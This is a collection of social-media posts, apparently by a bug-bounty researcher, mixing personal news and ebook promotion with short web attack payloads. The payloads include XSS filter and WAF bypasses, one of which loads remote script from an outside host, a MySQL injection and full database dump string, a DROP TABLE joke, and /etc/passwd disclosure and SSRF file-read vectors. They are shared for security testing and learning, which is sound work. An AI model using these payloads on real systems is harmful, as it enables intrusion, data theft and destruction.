I don't think that watching/reading
#hacking
tutorials and collecting BB tips in Twitter or any other social media will make you UNDERSTAND what you are doing and why that happens.
Build a solid foundation with PROGRAMMING, NETWORKING, PROTOCOLS and OPERATING SYSTEMS first.
The very first skill you need to be a good hacker is to be able to find things by yourself.
Be good at searching for info & analyzing it so you can get the best resources on any subject.
Your mind is like an axe to chop a tree: the sharper it is, the faster it gets job done.
A story I'm really proud of.
After I had learned
#XSS
and retired as
#1
from
@openbugbounty
in 2015,
@kenanistaken
came to me asking if I could teach him.
I said there would be a PRICE.
My price was "you have to do for someone else what I'm about to do for you".
He agreed. 🙂
Those might be useful some day so I will leave them here.
#XSS
#validation
#bypass
<a href="<svg/onload=" title=1>alert(1)"
<a href="</script><svg/onload=" title=1>alert(1)"
7th anniversary of
@brutelogic
!
Today 7 years ago I've decided to go to Twitter to share what I have been learning about
#hacking
and
#infosec
.
My life has changed dramatically since then and I was able to make a positive impact to many in this community.
Thank you all! 😀
Javascript://%E2%80%A9alert(1)
Just an alternative to %250A or %250D against some security/validation filter in this classical DOM-based
#XSS
.
#XSScheatSheet
#unlockBrute
It seems the new PHP 8 treat MySQL error msgs as "fatal errors" not shown anymore in regular MySQL injection triggering. How to test for it:
Number Input
?id=0.or-1%23
String Input
?s='or-1%23
If it returns the 1st regular result of the page or more than 1 result, bingo!
#SQLi
#MySQL
#SQLi
Full database dump in one shot.
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)
Usage Example:
-1 union select 1, HERE, 1--+
I've put a lot of work on this to make it the greatest so far.
Different from what you can find out there for free, this one has clear directions on how to use vectors/techniques, up-to-date information and tricks that only Brute can bring to you! 😉
"New" bypass. That happens all the time with my work and I rarely get mentioned. They can't even understand what happens to change the payload disguising the copy a little bit better. 🤨
This
#XSS
vector was used by some lucky guys to bypass CloudFlare WAF not so long ago. Fixed now, sorry! 😉
<svg onx=() onload=(confirm)(1)>
#TheArtofBypass
booklet is on my plans for this year too.
To be a real good hacker you must be smart enough to do to a couple of things IMHO:
1. Be able to find the info you need by yourself;
2. Be able to correctly evaluate technical content:
3. Be able to find and fill the gaps in current hacking knowledge.
#hack2learn
An anchor with relative path, perfectly valid HTML usually allowed in whitelists to inject in proper JS contexts.
#XSS
#bypass
<a/href="/alert(1)/">
Check PoC and context below.
It works against Bitrix WAF, for example. 😉
New
#KNOXSS
release is absolutely INSANE.
It can deliver to you an actually verified Proof-of-Concept (PoC) of a
#XSS
vulnerability in little more than 1s.
One second.
No manual testing can do it that fast.
No other testing tool have that accuracy.
file:///etc/passwd
A known FILE DISCLOSURE vector, right?
But then the developer use a simple full URL validation requiring query string and boom, you get the bots and kiddies right out of the game!
Check out why:
Tomorrow is a very special date to me:
@brutelogic
's 10th anniversary
Sadly, I couldn't prepare anything special to share and celebrate that milestone.
But I hope to bring some ideas to life until the end of this year labeled as "Brute Logic 10th Year".
Wish me luck! 🙂
#SQLi
Poem
=Injecting+SQL+every+night';
/*Let's*/DROP+TABLE+users;
/*If+you+can't+code+it+right*/
SELECT+"a+new+job+loser!";#
Just found that in my old stuff! 😆
I just want to inform people who follow my work, here or in
@brutelogic
@knoxss_me
etc that although I'm not that much active as I used to be, I'm still working (somehow) in the background.
It's just because things got really hard here taking care of these kids! 😍
It's just a new side project that was born, I didn't even added https to it.
But I have ambitious ideas about it, both for
@knoxss_me
and another project.
The idea is to make better PoCs for everyone! Check it out:
<Img Src=//X55.is OnError=import(src)>
I'm suffering from severe mental health issues in the last years, it's being hard for me to get back online with new stuff.
If anyone is willing to help me, please do it by spreading the word about my blog and booklet and specially my underrated online tool
@KN0X55
Thank you.
#XSS
Test Methodology 101
Test every entry point with "XSS" in this command line for reflection, one at a time. URL fragment one will work only in browser.
$ curl --data "p1=XSS&p2=XSS&pn=XSS" "
https://domain/XSS/XSS/XSS?p1=XSS&p2=XSS&pn=XSS#XSS"
I didn't know that so I'm sharing this no matter easy and straightforward it might be... 😀
You can use a WILDCARD (*) to check all URLs of domain or folder of an app in Wayback Machine!
Like (encoding of %2A here is just because Twitter link requires)
Not sure if this is well known (single slash after scheme & double encoding in path) but for PHP curl-based
#SSRF
to achieve Local File Read (LFR) this is possible:
File:%2Fetc%252Fpasswd
I think guys in my position wonder how one can be able to help people one by one with my current level of attention.
I can only say there's a kind of *JOY* when you see people learning from you or show gratitude for the work you do.
Thank you all for all the love I get! 😊🙏🏾
I mind my own business.
It means I'm more interested on being a BETTER ME than in mocking people down.
It means I'm more concerned about doing a BETTER JOB than in trying to make someone else's job look bad.
It means I'm sensible enough to
#RESPECT
other people and their work.
My son and my hope in a better future.
Thank you all for your priceless support when he was at hospital.
He's very healthy and extremely lovely right now! ☺️
I didn't want to rescue any more animal because we are living a very sacrificing life and we can barely handle our situation here.
But after WEEKS passing and seeing him dying slowly, I was expecting to not see him anymore. 😔
Today I couldn't resist. I have to try to save him.
If You Want To Be Successful
STAY AWAY!
From the crowds:
If everyone is going one way, run to the opposite direction.
From other's agenda:
Everyone do their stuff for a purpose and it's to help them, not you.
From dependency:
Learn by yourself as much as you can.
I wish people could understand how difficult is for me to do all I do (online)!
- 4 Twitter + 1 Facebook accounts
- 1 online tool + customer service 24/7
- 1 blog + 1 cheat sheet
- Research + content creation
- Chats +
#XSS
consulting every day
😎
After 00:01 UTC November 25th the current version of my
#XSS
ebook will have an awesome $9.95 USD special price! 🤩
#BlackFriday
#CyberMonday
Don't miss that offer!